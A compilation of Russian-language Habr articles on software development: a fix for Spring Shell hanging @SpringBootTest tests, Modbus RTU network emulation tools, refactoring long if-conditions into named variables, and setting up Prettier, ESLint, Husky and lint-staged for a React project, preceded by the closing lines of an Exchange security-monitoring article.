Выявление новых уязвимостей в сервере Exchange и новые атаки — вопрос времени, поэтому важно не только грамотно защитить свои почтовые сервера, но и заранее организовать сбор и мониторинг важных событий безопасности.
Надеемся, вам понравилась эта статья. В следующей статье цикла мы поговорим о методах обнаружения эксплуатации других нашумевших уязвимостей MS Exchange. | https://habr.com/ru/post/551228/ | null | ru | null |
# Написание тестов @SpringBootTest при ипользовании Spring Shell в приложении
Иногда в приложениях полезно иметь консоль для управления приложением непосредственно с сервера. Одним из чрезвычайно удобных решений данной задачи является Spring Shell.
Тесты — тоже весьма неплохая практика (надеюсь у вас они есть) и, иногда, они пишутся с аннотацией @SpringBootTest. Однако, если вы подключите Spring Shell и попробуете запустить такой тест, то… ваш тест просто зависнет в ожидании введения команды с консоли.
Итак, отправляемся на поиски решения.
### Гуглим
После недолгого поиска на GitHub находим [похожую проблему](https://github.com/spring-projects/spring-shell/issues/171).
Автор предлагает для тестирования shell-а переопределить бин с типом ApplicationRunner, который и ожидает команды с консоли. Здесь же решение по доступу и тестированию самих команд определенных в @ShellComponent.
```
@Component
public class CliAppRunner implements ApplicationRunner {
public CliAppRunner() {
}
@Override
public void run(ApplicationArguments args) throws Exception {
//do nothing
}
}
@RunWith(SpringJUnit4ClassRunner.class)
@SpringBootTest(classes =CliConfig.class)
public class ShellCommandIntegrationTest {
@Autowired
private Shell shell;
@Test
public void runTest(){
Object result=shell.evaluate(new Input(){
@Override
public String rawText() {
return "add 1 3";
}
});
DefaultResultHandler resulthandler=new DefaultResultHandler();
resulthandler.handleResult(result);
}
}
```
К сожалению тесты при таком решении все равно зависают в ожидании команды.
### Пришло время заглянуть под капот!
После легкого дебага находим в классе SpringApplication следующий код:
```
private void callRunners(ApplicationContext context, ApplicationArguments args) {
List runners = new ArrayList<>();
runners.addAll(context.getBeansOfType(ApplicationRunner.class).values());
runners.addAll(context.getBeansOfType(CommandLineRunner.class).values());
AnnotationAwareOrderComparator.sort(runners);
for (Object runner : new LinkedHashSet<>(runners)) {
if (runner instanceof ApplicationRunner) {
callRunner((ApplicationRunner) runner, args);
}
if (runner instanceof CommandLineRunner) {
callRunner((CommandLineRunner) runner, args);
}
}
}
```
Иначе говоря, Spring Boot просто добавляет наш бин с кастомным ApplicationRunner в копилку к уже определенным и запускает их все.
Казалось бы решение простое — переопределим бин! Время залезть в исходники Spring Shell.
### Переопределяем бин
Быстро выясняется, что за создание раннеров отвечает класс JLineShellAutoConfiguration, конкретно нас интересует бин scriptApplicationRunner, который и не дает нашему тесту запуститься.
Ок, переопределим его в нашем тестовом классе (не забыв включить spring.main.allow-bean-definition-overriding=true для Spring 2.+):
```
@TestConfiguration
static class Runner {
@Bean
public ApplicationRunner scriptApplicationRunner(){
return new CliAppRunner();
}
}
```
Нет, опять не сработало. JLineShellAutoConfiguration подгружается позже нашей тестовой конфигурации Runner и успешно переопределяет scriptApplicationRunner. И тест опять не запускается (*Небольшой интерактив — кто-нибудь — объясните в комментариях, почему так?*).
### Ищем другие варианты
Что ж, посмотрим, что там написано в создании бина в JLineShellAutoConfiguration:
```
@Bean
@ConditionalOnProperty(prefix = SPRING_SHELL_SCRIPT, value = ScriptShellApplicationRunner.ENABLED, havingValue = "true", matchIfMissing = true)
public ApplicationRunner scriptApplicationRunner(Parser parser, ConfigurableEnvironment environment) {
return new ScriptShellApplicationRunner(parser, shell, environment);
}
```
Ура, нам повезло — есть property, который позволяет его отключить. Радостно бежим вписывать его в application.properties:
```
spring.shell.script.enabled=false
```
Запускаем наш тест. И он опять зависает. Копаем дальше.
### Разгадка
Идем в ScriptShellApplicationRunner и смотрим, что там с нашими property. А там:
```
public static final String SPRING_SHELL_SCRIPT = "spring.shell.script";
public static final String ENABLED = "spring.shell.script";
/**
* The name of the environment property that allows to disable the behavior of this
* runner.
*/
public static final String SPRING_SHELL_SCRIPT_ENABLED = SPRING_SHELL_SCRIPT + "." + ENABLED;
```
Воу, кажется теперь все понятно — идем снова в application.properties и пишем:
```
spring.shell.script.spring.shell.script=false
```
Скрестим пальцы. Запускаем тест. Работает.
Дело раскрыто, спасибо за внимание. | https://habr.com/ru/post/502204/ | null | ru | null |
# Программная эмуляция сети Modbus RTU
Введение
========
> Если в качестве инструмента у Вас имеется лишь молоток, каждая проблема начинает напоминать гвоздь.
>
>
>
> *Абрахам Маслоу*
Протокол Modbus широко хорошо известен как читателям хабра, так и читателям гиктаймс. Его применению посвящено множество публикаций, перечислять которые трудно из-за того что их очень много, и периодически то там, то тут появляются новые статьи.
Популярность данного протокола обусловлена его открытостью и простотой. Сфера применимости достаточно широка: от профессиональных промышленных систем автоматизации до любительских DIY-проектов распределенных управляющих систем, «умных» домов и так далее. Данный протокол был выбран и мной, когда моя команда занималась создание ПО тренажера электропоезда. Протокол Modbus RTU на физическом интерфейсе RS485 используется на данном тренажере для обеспечения ввода в управляющий компьютер данных с органов управления, смонтированных на пульте машиниста (не стоит думать что Modbus используется на настоящем подвижном составе!).
Не стоит говорить с какими трудностями сопряжена наладка ПО, взаимодействующего с сетью контроллеров, управляющих оборудованием. Особенно когда часть устройств уже существует в железе, а другая часть находится в процессе разработки и изготовления. При этом ПО верхнего уровня требуется писать с учетом его взаимодействия с эти железом. И желательно писать его так, чтобы создавать рабочий вариант системы сразу, без использования «костылей» которые всегда трудно вычищать из кода.
«Надо писать ПО, когда готовы рабочие прототипы всего железа» — скажете вы и будете правы, но… ха-ха-ха, в реальном мире такое случается редко. И вот тут нам на помощь приходят программные эмуляторы.
1. Кратко о Modbus RTU
======================
Подробно рассказывать о протоколе не буду. Те, кого интересуют подробности могут воспользоваться поиском — протокол открыт, в сети доступна его официальная спецификация и масса информации. Скажу лишь, что в Modbus RTU описывает двоичный формат передаваемых данных и в качестве среды передачи использует дифференциальную витую пару стандарта RS485. Может использоваться и RS232, если в сети один передатчик и один приемник, или RS422 для однонаправленной передачи данных.
Нас будет интересовать именно RS485, который является полудуплексным интерфейсом, что допускает лишь одно передающее данные устройство в каждый момент времени. Арбитраж шины в Modbus осуществляется за счет выдержки обязательного интервала тишины длиной 3,5 символа при данной скорости передачи. Каждое сообщение должно начинаться и завершаться интервалом тишины. В сети существует одно ведущее устройство (master) и несколько ведомых устройств (slave) (до 31 в одном сегменте сети, без применения репитеров). Каждое ведомое устройство имеет уникальный идентификатор ID (от 1 до 31). Передача данных ведомым осуществляется лишь в том случае, если мастер послал запрос на получение данных с этого устройства.
Типичный запрос мастера выглядит так
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| ID | Код функции | Адрес данных | Количество данных (2 байта) | Данные | CRC16 |
CRC16 используется для контроля целостности передаваемых данных. Modus использует Big Endian нотацию представления данных: для значений размером 2 байта старший байт внутри сообщения идет первым). В протоколе используется четыре типа данных:
1. Coils — дискретные выходы (1 бит) доступные для чтения/записи
2. Discrete inputs — дискретные входы (1 бит) доступные для чтения
3. Holding registers — регистры вывода (2 байта) доступные для чтения/записи
4. Input registers — регистры ввода (2 байта) доступные для чтения
В ответ на запрос ведомое устройство отдает данные в следующем формате
| | | | | |
| --- | --- | --- | --- | --- |
| ID | Код функции | Количество данных в байтах | Данные | CRC16 |
Сообщение, принятое от мастера попадает в приемный буфер всех устройств. Однако, если первый байт приемного буфера не совпадает с ID устройства, оно игнорирует принятые данные, очищая приемный буфер. Если сообщение предназначено данному устройству, то оно формирует ответ и, выдержав интервал тишины посылает его мастеру.
Как говорится, простенько, но со вкусом. Подробнее обо всем этом можно прочитать в [официальной спецификации протокола](http://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b.pdf). О методах реализации протокола на последовательном интерфейсе [читаем здесь](http://www.modbus.org/docs/Modbus_over_serial_line_V1_02.pdf). Собрались мы здесь не за этим.
Разрабатывая ПО верхнего уровня (master реализуемый на базе ПК, например) для подобной сети, хорошо бы иметь набор программных средств, позволяющих реализовать такую концепцию
Смысл этой схемы в следующем. Допустим, у нас есть часть устройств, входящих в будущую сеть. Или пока нет ни одного такого устройства. Но есть горячее желание написать ПО для верхнего уровня управления, отладить его, с тем чтобы когда сеть будет таки реализована аппаратно нам не пришлось ничего переписывать. Для этого придется использовать физическую среду передачи, для чего используем девайс, подобный этому
Один из адаптеров используется для подключения ПО разрабатываемого мастера. Другой — для подключения эмулятора будущей сети слейвов. К отводу с белым коннектором подключаем ту часть сети, которая уже реализована аппаратно. Таким образом мы получаем возможность спокойно работать со штатным протоколом связи, постепенно вводя в работу реальную аппаратуру. К тому же, отдав объект заказчику мы не лишаемся возможность модифицировать его ПО в комфортной обстановке лаборатории без доступа к объекту. QSlave на схеме как раз таки часть сети, эмулируемая программно. Естественно, придется написать соответствующий софт, что и было сделано автором.
2. QSlave — эмуляция сети ведомых
=================================
[QSlave](https://github.com/maisvendoo/qslave) — открытый кроссплатформенный эмулятор сети Modbus RTU. Получить его можно по лицензии GPL v2.0 на Github по вышеприведенной ссылке.
Приложение разработано на C++ с использованием фреймворка Qt. Qt, вообще говоря, [имеет библиотеки для работы с Modbus](http://doc.qt.io/Qt-5/qtmodbus-backends.html), но специфика задачи — имитация сети слейвов а не одного слейва, привела к тому, что встроенные библиотеки Qt для Modbus тут не использовались. Для обработки данных, принимаемых с виртуального последовательного порта была создана самописная библиотека modbus. Код этой библиотеки реализован в виде отдельного проекта, совершенно не зависит от интерфейса пользователя и может быть использован для сознания программных имитаций с более продвинутым функционалом. Из-за того, что эмуляция Modbus отвязана от UI, конфигурирование сети происходит с применением конфигурационных файлов. Был выбран формат XML (мы часто его используем в своих проектах). Пример конфигурации [доступен в коде проекта](https://github.com/maisvendoo/qslave/tree/master/cfg/example). Комплект конфигов состоит из главного файла с расширением \*.net, который выглядит так
**example.net**
```
xml version="1.0" encoding="UTF-8" ?
Traffic light
1
traffic-light
```
и XML-файлов конфигурации для каждого из слейвов
**traffic-light.xml**
```
xml version="1.0" encoding="UTF-8" ?
16
Red signal
0
17
Yellow signal
0
18
Green signal
0
0
Ready
1
5
Signal activity time
15
2
Signals count
3
```
Последний файл содержит описание всех данных, доступных в устройстве. Для того, чтобы загрузить конфигурацию необходимо открыть файл \*.net из меню программы QSlave (File → Open config). Все файлы конфигурации должны лежать в одном каталоге. Конфигурация примера описывает сеть из одного ведомого устройства, некий виртуальный дорожный светофор, дискретные выходы которого описывают сигналы, дискретный вход обозначает некий бит готовности устройства к работе (Ready), регистр ввода сообщает число сигналов светофора, а регистр вывода задает время, в течение которого горит каждый из сигналов.
Естественно, данный симулятор никак не имитирует внутреннюю логику работы устройства. Он позволяет лишь задавать значения ячеек памяти, доступных ведущему устройству. Любое из значений можно задать по своему усмотрению, отредактировав соответствующую ячейку таблицы.
При всей своей простоте, данный софт помогает нам работать над ПО тренажера (который уже сдан в эксплуатацию) не выходя из лаборатории.
Но никто не говорит, что нельзя создать более продвинутый эмулятор, имитирующий работу устройств виртуальной сети. Для его создания можно использовать код библиотеки modbus, доступный в комплекте поставки QSlave.
3. QMaster — эмуляция мастер-устройства
=======================================
Для создания ведомых устройств, отладки их прошивок нужна имитация мастера. Существует ряд открытых эмуляторов, таких как например [QModbus](http://qmodbus.sourceforge.net/). Мы использовали его в своей работе, до тех пор, пока не решили увеличить скорость передачи данных до 250 кБит/с. QModbus этого не позволяет. Его удалось пересобрать из исходников под Linux, но наши электронщики сидят на Windows, а где сборка не пошла по ряду причин. Выяснилось, что это приложение написано на Qt 4, использует сторонную библиотеку [libmodbus](http://libmodbus.org/). Хотелось иметь кроссплатформенное решение на Qt5, тем более что Qt5 уже работает с Modbus «из коробки». Поэтому был написан свой аналог, использующий стек библиотек Qt Modbus - [QMaster](https://github.com/maisvendoo/qmaster). Он тоже доступен на Github на тех же условиях.
Заключение
==========
В заключении скажу, что работаю (на работе) в основном над закрытыми проектами. Однако, описанные инструменты разработаны лично мной в инициативном порядке в свободное время. К тому же они, в Windows-версии, статически линкованы с GPL-кодом Qt, поэтому я обязан передать их сообществу на тех же условиях, что и получил Qt. К тому же, эти инструменты могут быть полезны для читателя.
Благодарю за внимание! | https://habr.com/ru/post/409111/ | null | ru | null |
# Никогда не пишите длинных if-ов
Ошибок в условиях допускается великое множество. Можно взять для примера любой пост из блога [PVS-studio](https://habrahabr.ru/company/pvs-studio/), в каждом есть ошибки, связанные с невнимательным обращением с условиями. И правда, нелегко разглядеть ошибку в условии, если код выглядит так (пример из [этого поста](https://habrahabr.ru/company/pvs-studio/blog/331638/)):
```
static int ParseNumber(const char* tx)
{
....
else if (strlen(tx) >= 4 && (strncmp(tx, "%eps", 4) == 0
|| strncmp(tx, "+%pi", 4) == 0 || strncmp(tx, "-%pi", 4) == 0
|| strncmp(tx, "+Inf", 4) == 0 || strncmp(tx, "-Inf", 4) == 0
|| strncmp(tx, "+Nan", 4) == 0 || strncmp(tx, "-Nan", 4) == 0
|| strncmp(tx, "%nan", 4) == 0 || strncmp(tx, "%inf", 4) == 0
))
{
return 4;
}
else if (strlen(tx) >= 3
&& (strncmp(tx, "+%e", 3) == 0
|| strncmp(tx, "-%e", 3) == 0
|| strncmp(tx, "%pi", 3) == 0 // <=
|| strncmp(tx, "Nan", 3) == 0
|| strncmp(tx, "Inf", 3) == 0
|| strncmp(tx, "%pi", 3) == 0)) // <=
{
return 3;
}
....
}
```
Такие условия явление повсеместное, я сталкивался с ними абсолютно во всех проектах с которыми я имел дело. Вот [этот пост на хабре отлично иллюстрирует сложившийся в программистском мире зоопарк](https://habrahabr.ru/post/208692/) того, как «можно» писать условия для if-else и каждый подход аргументирован и по своему крут, вообще пробелы рулят, табуляция отстой и все такое. Самое смешное, что он начинается словами «Условный оператор в обычной своей форме источником проблем является сравнительно редко», за подтверждением обратного отсылаю вас, опять же, к блогу PVS-studio и вашему собственному горькому опыту.
Я заметил, что в последнее время при написании if-else блоков начал повсеместно использовать подход, который формализовал только сейчас и захотел с вами поделиться. В общем и целом он совпадает с описанным [в первом же комментарии к вышеупомянутому посту](https://habrahabr.ru/post/208692/#comment_7186852), но радикальней и с четкой идеей. Я использую такую технику вообще во всех условиях, не важно, сложные они или простые.
В самом общем виде правило звучит так: **если в условии присутствует больше одного логического оператора, нужно задуматься о его рефакторинге. При именовании переменных выбирать имена, соответствующие бизнес-логике, а не формальным проверкам, которые очевидны из кода**.
По правде, второе даже важнее. Если по поводу условия есть, что сказать, кроме того, что явно написано в нем самом, нужно подумать, можно ли это выразить названием переменной. Сравните два псевдокода:
```
if (model.user && model.user.id) {
doSomethingWithUserId(model.user.id);
...
}
```
и
```
let userExistsAndValid = model.user && model.user.id;
if (userExistsAndValid) {
doSomethingWithUser(model.user);
...
}
```
В первом случае у нас чисто формальная проверка значений, нам нужен user.id и мы проверяем, есть ли он, все можно оставить как есть. Во втором случае нам нужна уже валидная модель и мы объясняем это в имени переменной через термины бизнес-логики.
Такой подход имеет преимущества и при рефакторинге: если проверка понадобится дальше в методе еще раз и/или расширятся условия валидности (нужно будет, чтобы у юзера еще и емейл был обязательно) — изменения будут минимальны.
Возьмем пример тоже про пользователя, но посложнее, с которым я столкнулся буквально несколько дней назад и отрефакторил в этом стиле. Было:
```
if (this.profile.firstName && this.profile.lastName &&
(this.password ||
!!_.find(this.serviceAccounts, a => a.provider === 'slack' && a.accountId)) {
....
}
```
Стало:
```
const hasSlack = !!_.find(this.serviceAccounts, a => a.provider === 'slack' && a.accountId);
const hasSomeLoginCredentials = this.password || hasSlack;
const hasPersonalData = this.profile.firstName && this.profile.lastName;
if (hasPersonalData && hasSomeLoginCredentials) {
....
}
```
Конечно есть случаи, когда какие-то элементы условия надо выполнять только, если предыдущие были успешны и другие исключения, но все же: если в условии присутствует больше одного логического оператора, нужно **задуматься** о его рефакторинге. Большинство таких моментов можно разрешить, кстати, тернарными выражениями или локальными функциями, но насколько эти инструменты более читабельны, чем длинные if-ы, каждый решает сам.
Для меня в списке исключений стоят еще шорткаты, очевидно, если надо просто выразить что-то вроде:
```
if (err || !result || !result.length === 0) return callback(err);
```
нет смысла вводить переменные. | https://habr.com/ru/post/332060/ | null | ru | null |
# Красивый и чистый: инструменты, которые помогают добиться почти идеального кода
Адил Имран — программист, работает в этой сфере давно, делясь опытом, наработками и наблюдениями с коллегами в своем блоге. [Новая статья](https://medium.freecodecamp.org/these-tools-will-help-you-write-clean-code-da4b5401f68e) Адила — об инструментах, которые помогают писать красивый и чистый код, который хорошо работает.
От автора: вы хотите писать хороший код, но не знаете, с чего начать, пробуете читать то и это, реализуете на практике прочитанное. Но все равно, вопросов остается больше, чем ответов. Нужно ли убирать «мертвый» код? Что делать, если обнаружена неиспользуемая переменная в уже написанном проекте? Как найти проблемные паттерны и все исправить? Эти вопросы важны, и многие из нас пытаются на них ответить. Но лучше всего — все делать хорошо уже с нуля, так, чтобы потом не приходилось искать проблемные места и латать дыры, теряя время. Для создания хорошего кода есть несколько инструментов, которые можно назвать незаменимыми.
Примеры, которые мы рассмотрим в этой статье, имеют отношение к React, хотя прочитанное можно применить практически для любого веб-проекта.
> **Skillbox рекомендует:** Практический курс [«Профессия веб-разработчик»](https://skillbox.ru/webdev/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=WEBDEV&utm_content=articles&utm_term=clearcode).
>
>
>
> **Напоминаем:** *для всех читателей «Хабра» — скидка 10 000 рублей при записи на любой курс Skillbox по промокоду «Хабр».*
Весь список инструментов статьи вот:
* Prettier
* ESLint
* Automate Format and Lint on Save
* Husky
* Lint-staged
* With Husky and Lint-staged Combined
* EditorConfig
### Начнем с Prettier
Этот инструмент — продуманный оптимизатор кода.
**Зачем он нужен?**
Подчищает уже готовый код. Только представьте, что вам нужно оптимизировать около 20 тысяч строк. Prettier сделает все это автоматически и быстро.
Его просто использовать и легко адаптировать под себя — над совершенствованием Prettier работает несколько команд, так что можно выбрать версию, подходящую именно вам.
Если вы начинающий программист, который хочет писать красивый код, но не знаете, с чего начать, попробуйте Prettier.
**Установка**
Нужно создать папку, которая называется app, и внутри папки набрать в командной строке следующее:
```
npm init -y
```
Эта команда позволит создать файл package.json.
Далее разбираемся с зависимостями.
```
yarn add --dev prettier
```
После выполнения команды внутри только что созданного файла появляется следующее:
```
{
"name": "react-boiler-plate",
"version": "1.0.0",
"description": "A react boiler plate",
"main": "src/index.js",
"author": "Adeel Imran",
"license": "MIT",
"scripts": {
"prettier": "prettier --write src/**/*.js"
},
"devDependencies": {
"prettier": "^1.14.3"
}
}
```
Далее создаем src/ папку внутри папки app. И внутри src/ файл index.js. Назвать его вообще-то можно как угодно, главное — вставить в его тело вот это:
```
let person = {
name: "Yoda",
designation: 'Jedi Master '
};
function trainJedi (jediWarrion) {
if (jediWarrion.name === 'Yoda') {
console.log('No need! already trained');
}
console.log(`Training ${jediWarrion.name} complete`)
}
trainJedi(person)
trainJedi({ name: 'Adeel',
designation: 'padawan'
});
```
Теперь у нас есть src/app/index.js с корявым кодом.
Над ним можно выполнить вот такие операции:
— форматировать вручную;
— использовать автоматизацию;
— ничего не делать (Let things go and move on).
Третью опцию лучше не выбирать, иначе зачем нам вообще инструменты по оптимизации кода? Давайте выберем второй вариант. У нас есть зависимость и скрипт Prettier внутри нашего файла package.json.
Теперь создадим prettier.config.js в папке app.
```
module.exports = {
printWidth: 100,
singleQuote: true,
trailingComma: 'all',
bracketSpacing: true,
jsxBracketSameLine: false,
tabWidth: 2,
semi: true,
};
```
**printWidth** позволит убедиться, что в коде не больше 100 символов;
**singleQuote** преобразует все двойные кавычки в одинарные;
**trailingComma** проверит наличие всех висячих запятых в коде, особенно в конце последнего свойства объекта. Объясняется [это здесь](https://medium.com/@nikgraf/why-you-should-enforce-dangling-commas-for-multiline-statements-d034c98e36f8)
**bracketSpacing** управляет пробелами в объектных литералах:
```
If bracketSpacing is true - Example: { foo: bar }
If bracketSpacing is false - Example: {foo: bar}
jsxBracketSameLine работает с форматированием JSX-элемента ">"
// true example
Click Here
// false example
Click Here
```
**tabWidth** определяет количество пробелов на уровне отступа.
**semi** — if true выводит; в конце стейтмента.
Вот [полный список опций](https://prettier.io/docs/en/options.html), с которыми может работать Prettier.
После того, как изначальная конфигурация готова, можно заняться скриптом.
“prettier”: “prettier — write src/\*\*/\*.js”
В примере выше скрипт ищет все .js-файлы в папке src/.
-write указывает на необходимость сохранения оптимизированных файлов с кодом.
Давайте выполним скрипт:
yarn prettier
Если у вас возникли с примером какие-то проблемы, то [вот репозиторий](https://github.com/adeelibr/react-starter), где можно найти все готовенькое.
### ESLint
Этот инструмент анализирует код для того, чтобы помочь обнаружить проблемные паттерны, которые не соответствуют правилам и стандартам. Работает он для большинства языков программирования.
**Зачем он нужен в применении к JavaScript?**
Поскольку JavaScript является довольно свободным языком, разработчики часто допускают ошибки. ESLint помогает находить проблемы без выполнения написанной программы.
**Чем ESLint выделяется среди себе подобных?**
Его легко настраивать, он очень гибкий. Можно добавлять и убирать правила в случае необходимости — конфигурируется буквально все. Так, можно форматировать код согласно тому набору правил, которым вы пользуетесь.
**Сейчас наиболее актуальны два style guides:**
* Google JavaScript Style Guide
* Airbnb JavaScript Style Guide
Что касается меня, то я рекомендую второй вариант. Он весьма популярен, в этом можно убедиться, зайдя в [его GitHub](https://github.com/airbnb/javascript).
Сначала давайте обновим наш package.json-файл:
```
{
"name": "react-boiler-plate",
"version": "1.0.0",
"description": "A react boiler plate",
"main": "src/index.js",
"author": "Adeel Imran",
"license": "MIT",
"scripts": {
"lint": "eslint --debug src/",
"lint:write": "eslint --debug src/ --fix",
"prettier": "prettier --write src/**/*.js"
},
"husky": {
"hooks": {
"pre-commit": "lint-staged"
}
},
"lint-staged": {
"*.(js|jsx)": ["npm run lint:write", "git add"]
},
"devDependencies": {
"babel-eslint": "^8.2.3",
"eslint": "^4.19.1",
"eslint-config-airbnb": "^17.0.0",
"eslint-config-jest-enzyme": "^6.0.2",
"eslint-plugin-babel": "^5.1.0",
"eslint-plugin-import": "^2.12.0",
"eslint-plugin-jest": "^21.18.0",
"eslint-plugin-jsx-a11y": "^6.0.3",
"eslint-plugin-prettier": "^2.6.0",
"eslint-plugin-react": "^7.9.1",
"husky": "^1.1.2",
"lint-staged": "^7.3.0",
"prettier": "^1.14.3"
}
}
```
Что означает каждая опция:
**eslint**: это главный инструмент для работы с собственным кодом.
**babel-eslint**: пригодится, если вы работаете с Flow или экспериментальными функциями, которые еще не поддерживаются ESLint.
**eslint-config-airbnb**: этот пакет предоставляет разработчику конфигурацию Airbnb’s ESLint.
**eslint-plugin-babel:** плагин-компаньон для babel-eslint.
**eslint-plugin-react:** оптимизирует под react.
**eslint-plugin-import:** обеспечивает возможность работы с синтаксисом ES2015+ (ES6+) import/export.
**eslint-plugin-prettier:** оптимизирует взаимодействие ESLint с Prettier.
C базовыми вещами покончено, давайте начнем. Например, создадим файл .eslintrc.js в папке app/.
```
module.exports = {
env: {
es6: true,
browser: true,
node: true,
},
extends: ['airbnb', 'plugin:jest/recommended', 'jest-enzyme'],
plugins: [
'babel',
'import',
'jsx-a11y',
'react',
'prettier',
],
parser: 'babel-eslint',
parserOptions: {
ecmaVersion: 6,
sourceType: 'module',
ecmaFeatures: {
jsx: true
}
},
rules: {
'linebreak-style': 'off', // Don't play nicely with Windows.
'arrow-parens': 'off', // Incompatible with prettier
'object-curly-newline': 'off', // Incompatible with prettier
'no-mixed-operators': 'off', // Incompatible with prettier
'arrow-body-style': 'off', // Not our taste?
'function-paren-newline': 'off', // Incompatible with prettier
'no-plusplus': 'off',
'space-before-function-paren': 0, // Incompatible with prettier
'max-len': ['error', 100, 2, { ignoreUrls: true, }], // airbnb is allowing some edge cases
'no-console': 'error', // airbnb is using warn
'no-alert': 'error', // airbnb is using warn
'no-param-reassign': 'off', // Not our taste?
"radix": "off", // parseInt, parseFloat radix turned off. Not my taste.
'react/require-default-props': 'off', // airbnb use error
'react/forbid-prop-types': 'off', // airbnb use error
'react/jsx-filename-extension': ['error', { extensions: ['.js'] }], // airbnb is using .jsx
'prefer-destructuring': 'off',
'react/no-find-dom-node': 'off', // I don't know
'react/no-did-mount-set-state': 'off',
'react/no-unused-prop-types': 'off', // Is still buggy
'react/jsx-one-expression-per-line': 'off',
"jsx-a11y/anchor-is-valid": ["error", { "components": ["Link"], "specialLink": ["to"] }],
"jsx-a11y/label-has-for": [2, {
"required": {
"every": ["id"]
}
}], // for nested label htmlFor error
'prettier/prettier': ['error'],
},
};
```
Добавляем файл .eslintignore в папку app/.
/.git
/.vscode
node\_modules
Что делает файл .eslintrc.js?
Давайте посмотрим:
```
module.exports = {
env:{},
extends: {},
plugin: {},
parser: {},
parserOptions: {},
rules: {},
};
```
**env:** среда определяет глобальные переменные, которые уже предопределены. Доступные среды в нашем случае — es6, браузер и нода. Es6 сделает доступными функции ECMAScript 6 кроме модулей. Browser добавит все глобальные переменные, такие как Windows. Соответственно node добавит все глобальные переменные Node.
**extends:** массив строк — каждая дополнительная конфигурация расширяет предыдущие. Прямо сейчас мы используем linting-правила с airbnb, которые расширяются на на jest, а затем на jest-enzyme.
**Plugins:** это базовые linting-правила, которые мы хотим использовать. Мы работаем с babel, import, jsx-a11y, react, prettier и всем, что я указал выше.
**parser:** по умолчанию ESLint использует Espree, но поскольку мы работаем с babel, то нужно использовать [Babel-ESLint](https://www.npmjs.com/package/babel-eslint).
**parserOptions:** когда мы изменяем дефолтный парсер для Espree на babel-eslint, нам необходимо уточнить parserOptions .
**rules:** любые правила мы можем изменять или замещать здесь.
Если все ясно, давайте поговорим о .eslintignore. Эта опция помогает указывать все пути, которые нет необходимости обрабатывать при помощи ESLint. Я использую всего три таких пути:
/.git — когда не хочу затрагивать свои git-файлы
/.vscode, поскольку работаю с VS Code, а у этого редактора есть собственная конфигурация, которую необходимо уточнять для каждого проекта и я не хочу в нее лезть здесь.
node\_modules — зависимости я тоже не трогаю, поэтому добавил их в список.
С этим все, давайте поговорим о только что добавленных скриптах для нашего package.json
*«lint»: «eslint --debug src/»
«lint:write»: «eslint --debug src/ --fix»*
$ yarn lint — запуская эту команду, вы проверяете все ваши файлы в src/, в итоге получаете подробный журнал с описанием проблемных мест в каждом файле, где будут найдены ошибки, которые затем сможете вручную запустить и исправить.
$ yarn lint:write — эта команда делает примерно то же самое, что и предыдущая. Единственное отличие в том, что здесь у yarn уже есть право записи — команда исправляет ошибки, удаляя их из кода.
Так, ну если вы продержались до этого момента, то честь вам и хвала.
### Husky
Ну а здесь вы можете выполнять некоторые действия во время коммита или пуша кода в ветку.
Все, что нужно — просто установить Husky:
*yarn add --dev husky*
Далее добавляем в файл package.json сниппет:
```
"husky": {
"hooks": {
"pre-commit": "YOUR_COMMAND_HERE",
"pre-push": "YOUR_COMMAND_HERE"
}
},
```
Теперь каждый раз во время коммита или пуша сниппет будет запускать выполнение определенного скрипта или команды, например, команду форматирования кода.
### Lint-staged
Помогает предотвратить попадание плохого кода в вашу git-ветку.
**Почему Lint-staged?**
Проверка кода в большинстве случаев должна выполняться до коммита. Таким образом вы сможете предотвратить попадание ошибок в репозиторий и улучшить общее качество программы. Но запуск lint для всего проекта — процесс довольно медленный, причем результаты обработки могут быть иррелеватными. В конце концов, вам ведь нужно обработать лишь файлы, которые вы хотите закоммитить.
Все, что нужно сделать, — установить проект:
*yarn add --dev lint-staged*
Далее в package.json-файл добавить вот это:
```
"lint-staged": {
"*.(js|jsx)": ["npm run lint:write", "git add"]
},
```
Так вы запустите lint: write, добавляя ее затем в область стейджа. Команда работает для файлов .js & .jsx, но вы можете сделать то же самое и для других файлов, если хотите.
### Объединяем Husky и Lint-staged
Каждый раз, когда вы коммитите ваш код, запускается скрипт, который называется lint-staged. Он инициирует выполнение npm run lint:write, что позволит проверить и отформатировать код. Затем уже проверенный код попадает в область стейджа и выполняется коммит.
Финальный файл package.json должен выглядеть следующим образом:
```
{
"name": "react-boiler-plate",
"version": "1.0.0",
"description": "A react boiler plate",
"main": "src/index.js",
"author": "Adeel Imran",
"license": "MIT",
"scripts": {
"lint": "eslint --debug src/",
"lint:write": "eslint --debug src/ --fix",
"prettier": "prettier --write src/**/*.js"
},
"husky": {
"hooks": {
"pre-commit": "lint-staged"
}
},
"lint-staged": {
"*.(js|jsx)": ["npm run lint:write", "git add"]
},
"devDependencies": {
"babel-eslint": "^8.2.3",
"eslint": "^4.19.1",
"eslint-config-airbnb": "^17.0.0",
"eslint-config-jest-enzyme": "^6.0.2",
"eslint-plugin-babel": "^5.1.0",
"eslint-plugin-import": "^2.12.0",
"eslint-plugin-jest": "^21.18.0",
"eslint-plugin-jsx-a11y": "^6.0.3",
"eslint-plugin-prettier": "^2.6.0",
"eslint-plugin-react": "^7.9.1",
"husky": "^1.1.2",
"lint-staged": "^7.3.0",
"prettier": "^1.14.3"
}
}
```
Теперь каждый раз, когда вы будете выполнять это
*$ git add.
$ git commit -m «some descriptive message here»*
код будет форматироваться в автоматическом режиме на основе правил из файла .eslintrc.js.
### Поговорим об EditorConfig
Сначала создадим файл .editorconfig в директории app/. В него вставим следующий код:
```
# EditorConfig is awesome: http://EditorConfig.org
# top-most EditorConfig file
root = true
[*.md]
trim_trailing_whitespace = false
[*.js]
trim_trailing_whitespace = true
# Unix-style newlines with a newline ending every file
[*]
indent_style = space
indent_size = 2
end_of_line = lf
charset = utf-8
insert_final_newline = true
max_line_length = 100
```
Вот список редакторов, которые поддерживают работу [EditorCondig](https://editorconfig.org/). В список входит следующее — Web storm, App code, Atom, eclipse, emacs, bbedit.
Код выше делает вот что:
* Вырезает пробелы из файлов .md и .js.
* Задает стиль отступов вместо пробелов.
* Устанавливает размер отступа до 2.
* Приводит конец строки к единому стандарту.
* Добавляет новую строку в конец файла.
* Устанавливает длину строки в 100 символов.
Собственно, теперь все готово. Если вам нужен исходный код, [вот он](https://github.com/adeelibr/react-starter-kit/).
> **Skillbox рекомендует:**
>
>
>
